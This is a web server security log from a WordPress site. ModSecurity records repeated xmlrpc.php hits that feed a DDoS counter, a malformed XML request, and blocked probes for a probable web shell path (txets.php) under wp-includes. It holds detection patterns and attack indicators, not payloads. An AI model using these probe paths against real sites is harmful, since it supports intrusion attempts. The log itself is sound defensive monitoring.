[Thu Apr 16 16:55:33.649787 2026] [:error] [pid 57536:tid 57561] [client 69.57.172.96:46374] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCkBSQU4faGja6jpDsVLwAAAA0"]
[Thu Apr 16 16:56:29.643462 2026] [:error] [pid 57639:tid 57648] [client 148.251.75.145:33068] [client 148.251.75.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCkPaMCQoTw7TsxWunnWwAAAMI"]
[Thu Apr 16 17:01:15.774448 2026] [:error] [pid 57537:tid 57576] [client 83.166.155.159:49134] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeClW1VQRS8nm73ENAmOaAAAAEE"]
[Thu Apr 16 17:02:03.776146 2026] [:error] [pid 57538:tid 57610] [client 96.46.48.39:46064] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCli8uMaiEF5SVR2BepfQAAAIg"]
[Thu Apr 16 17:02:19.507274 2026] [:error] [pid 49094:tid 49113] [client 51.75.54.138:40588] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeClmzbDwvcXorHR_MxWKwAAAVE"]
[Thu Apr 16 17:02:24.139702 2026] [:error] [pid 57536:tid 57553] [client 103.186.241.154:31401] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCloCQU4faGja6jpDsX7wAAAAU"]
[Thu Apr 16 17:03:11.124951 2026] [:error] [pid 49094:tid 49110] [client 51.159.190.214:48812] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeClzzbDwvcXorHR_MxWpQAAAU4"]
[Thu Apr 16 17:11:20.738709 2026] [:error] [pid 7880:tid 7903] [client 95.110.143.247:38264] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCnuKaezm4fSGc0yUJbvAAAAZI"]
[Thu Apr 16 17:11:44.503750 2026] [:error] [pid 57639:tid 57661] [client 109.123.220.11:39226] [client 109.123.220.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.123.220.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCn0KMCQoTw7TsxWunyRAAAAM8"]
[Thu Apr 16 17:13:23.976012 2026] [:error] [pid 49094:tid 49096] [client 35.226.125.165:60222] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCoMzbDwvcXorHR_MxbrAAAAUA"]
[Thu Apr 16 17:15:16.451939 2026] [:error] [pid 7880:tid 7890] [client 191.242.48.126:43904] [client 191.242.48.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.242.48.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCopKaezm4fSGc0yUJcxAAAAYU"]
[Thu Apr 16 17:16:14.449419 2026] [:error] [pid 7880:tid 7901] [client 141.95.19.158:57944] [client 141.95.19.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.19.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCo3qaezm4fSGc0yUJdBgAAAZA"]
[Thu Apr 16 17:16:18.834513 2026] [:error] [pid 57639:tid 57669] [client 35.226.125.165:51748] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCo4qMCQoTw7TsxWun0EwAAANc"]
[Thu Apr 16 17:16:27.537315 2026] [:error] [pid 49094:tid 49109] [client 59.125.102.226:38624] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCo6zbDwvcXorHR_MxdDAAAAU0"]
[Thu Apr 16 17:16:34.996397 2026] [:error] [pid 57639:tid 57647] [client 77.95.113.65:48386] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCo8qMCQoTw7TsxWun0IQAAAME"]
[Thu Apr 16 17:18:43.405393 2026] [:error] [pid 57639:tid 57654] [client 137.184.91.139:39046] [client 137.184.91.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.91.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCpc6MCQoTw7TsxWun1KQAAAMg"]
[Thu Apr 16 17:21:27.148529 2026] [:error] [pid 57538:tid 57602] [client 176.60.210.112:55828] [client 176.60.210.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.60.210.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCqF8uMaiEF5SVR2BesiQAAAIA"]
[Thu Apr 16 17:31:47.789073 2026] [:error] [pid 49094:tid 49102] [client 91.204.161.79:36922] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCsgzbDwvcXorHR_MxkBgAAAUY"]
[Thu Apr 16 17:33:36.014606 2026] [:error] [pid 57537:tid 57589] [client 146.190.84.203:55506] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCs8FVQRS8nm73ENAmS7QAAAE4"]
[Thu Apr 16 17:34:04.406952 2026] [:error] [pid 57639:tid 57667] [client 103.85.84.51:47372] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCtDKMCQoTw7TsxWun_9gAAANU"]
[Thu Apr 16 17:34:04.408397 2026] [:error] [pid 57639:tid 57667] [client 103.85.84.51:47372] [client 103.85.84.51] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCtDKMCQoTw7TsxWun_9gAAANU"]
[Thu Apr 16 17:34:04.409449 2026] [:error] [pid 57639:tid 57667] [client 103.85.84.51:47372] [client 103.85.84.51] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCtDKMCQoTw7TsxWun_9gAAANU"]
[Thu Apr 16 17:35:56.152072 2026] [:error] [pid 49094:tid 49108] [client 134.122.21.213:41026] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCtfDbDwvcXorHR_MxlbwAAAUw"]
[Thu Apr 16 17:43:55.766038 2026] [:error] [pid 29603:tid 29610] [client 91.245.210.195:44020] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCvW1fGOR6fpTWUAzpgHgAAAQU"]
[Thu Apr 16 17:45:56.197640 2026] [:error] [pid 57538:tid 57619] [client 217.160.15.203:57888] [client 217.160.15.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.15.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCv1MuMaiEF5SVR2BexSgAAAJE"]
[Thu Apr 16 17:51:49.222368 2026] [:error] [pid 57639:tid 57666] [client 168.227.250.223:20044] [client 168.227.250.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.227.250.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCxNaMCQoTw7TsxWukILgAAANQ"]
[Thu Apr 16 17:52:19.836817 2026] [:error] [pid 49094:tid 49108] [client 156.67.27.161:43792] [client 156.67.27.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.27.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCxUzbDwvcXorHR_MxqrQAAAUw"]
[Thu Apr 16 17:52:21.464085 2026] [:error] [pid 57639:tid 57646] [client 85.214.232.59:50182] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCxVaMCQoTw7TsxWukIcgAAAMA"]
[Thu Apr 16 17:54:32.501584 2026] [:error] [pid 29603:tid 29609] [client 72.61.39.19:38506] [client 72.61.39.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.61.39.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCx2FfGOR6fpTWUAzphjwAAAQQ"]
[Thu Apr 16 17:56:23.215137 2026] [autoindex:error] [pid 29603:tid 29619] [client 143.110.240.70:61026] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Apr 16 17:56:54.074323 2026] [:error] [pid 57538:tid 57605] [client 81.8.91.201:55952] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCyZsuMaiEF5SVR2Bey7gAAAIM"]
[Thu Apr 16 17:57:34.964308 2026] [:error] [pid 57639:tid 57650] [client 51.159.214.31:48918] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCyjqMCQoTw7TsxWukLWwAAAMQ"]
[Thu Apr 16 18:00:46.599451 2026] [:error] [pid 29603:tid 29627] [client 77.65.214.113:48098] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.214.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCzTlfGOR6fpTWUAzpjAQAAARY"]
[Thu Apr 16 18:00:47.384455 2026] [:error] [pid 57537:tid 57576] [client 78.47.118.248:34542] [client 78.47.118.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.47.118.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCzT1VQRS8nm73ENAmWXwAAAEE"]
[Thu Apr 16 18:01:48.398473 2026] [:error] [pid 7880:tid 7892] [client 109.176.198.138:40492] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCzjKaezm4fSGc0yUJnYwAAAYc"]
[Thu Apr 16 18:03:23.086570 2026] [:error] [pid 57639:tid 57667] [client 67.205.43.38:48998] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCz66MCQoTw7TsxWukPWAAAANU"]
[Thu Apr 16 18:07:10.411076 2026] [:error] [pid 57639:tid 57667] [client 45.94.31.15:65282] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aeC0zqMCQoTw7TsxWukS3QAAANU"]
[Thu Apr 16 18:07:10.899731 2026] [:error] [pid 57639:tid 57657] [client 45.94.31.15:62810] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aeC0zqMCQoTw7TsxWukS4wAAAMs"]
[Thu Apr 16 18:07:11.391391 2026] [:error] [pid 49094:tid 49097] [client 45.94.31.15:51347] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aeC0zzbDwvcXorHR_Mxw1gAAAUE"]
[Thu Apr 16 18:07:13.800012 2026] [:error] [pid 49094:tid 49101] [client 45.94.31.15:50752] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "aeC00TbDwvcXorHR_Mxw4QAAAUU"]
[Thu Apr 16 18:10:10.754607 2026] [:error] [pid 7880:tid 7892] [client 46.105.230.99:46372] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC1gqaezm4fSGc0yUJqRQAAAYc"]
[Thu Apr 16 18:10:47.044101 2026] [:error] [pid 57536:tid 57567] [client 66.70.178.228:46328] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC1pyQU4faGja6jpDstDAAAABM"]
[Thu Apr 16 18:14:06.052813 2026] [:error] [pid 57536:tid 57562] [client 217.160.39.81:59238] [client 217.160.39.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.39.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC2biQU4faGja6jpDsuMAAAAA4"]
[Thu Apr 16 18:14:20.793994 2026] [:error] [pid 29603:tid 29622] [client 82.223.68.239:45168] [client 82.223.68.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.68.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC2fFfGOR6fpTWUAzpmBAAAARE"]
[Thu Apr 16 18:15:14.414760 2026] [:error] [pid 49094:tid 49119] [client 67.73.243.12:38396] [client 67.73.243.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.73.243.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC2sjbDwvcXorHR_Mx0wQAAAVc"]
[Thu Apr 16 18:17:44.471279 2026] [:error] [pid 29603:tid 29605] [client 62.146.172.126:46552] [client 62.146.172.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.146.172.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC3SFfGOR6fpTWUAzpmsQAAAQA"]
[Thu Apr 16 18:18:13.819471 2026] [:error] [pid 57639:tid 57654] [client 185.246.164.237:40144] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC3ZaMCQoTw7TsxWukZBwAAAMg"]
[Thu Apr 16 18:21:30.387736 2026] [:error] [pid 49094:tid 49098] [client 35.234.37.132:34376] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC4KjbDwvcXorHR_Mx3JgAAAUI"]
[Thu Apr 16 18:25:00.930845 2026] [:error] [pid 57639:tid 57662] [client 54.38.195.241:34994] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC4_KMCQoTw7TsxWukdZQAAANA"]
[Thu Apr 16 18:26:26.004836 2026] [:error] [pid 57536:tid 57552] [client 93.16.216.118:54448] [client 93.16.216.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.16.216.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC5UiQU4faGja6jpDsxsQAAAAQ"]
[Thu Apr 16 18:29:55.975894 2026] [:error] [pid 57538:tid 57625] [client 72.14.187.140:42868] [client 72.14.187.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.187.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC6I8uMaiEF5SVR2Be6IAAAAJc"]
[Thu Apr 16 18:30:22.114090 2026] [:error] [pid 57639:tid 57667] [client 157.245.242.100:30786] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC6PqMCQoTw7TsxWukgQgAAANU"]
[Thu Apr 16 18:34:53.441349 2026] [:error] [pid 57639:tid 57668] [client 85.214.232.59:47444] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC7TaMCQoTw7TsxWukkCQAAANY"]
[Thu Apr 16 18:38:18.941628 2026] [:error] [pid 57639:tid 57666] [client 204.48.18.182:60264] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC8GqMCQoTw7TsxWukoZgAAANQ"]
[Thu Apr 16 18:38:35.126955 2026] [:error] [pid 57639:tid 57660] [client 62.169.28.251:48460] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC8K6MCQoTw7TsxWukoqQAAAM4"]
[Thu Apr 16 18:39:49.476423 2026] [:error] [pid 7880:tid 7905] [client 83.166.155.159:39084] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC8daaezm4fSGc0yUJzQQAAAZQ"]
[Thu Apr 16 18:43:27.026893 2026] [:error] [pid 57537:tid 57584] [client 156.67.24.219:44480] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeC9T1VQRS8nm73ENAmcogAAAEk"]
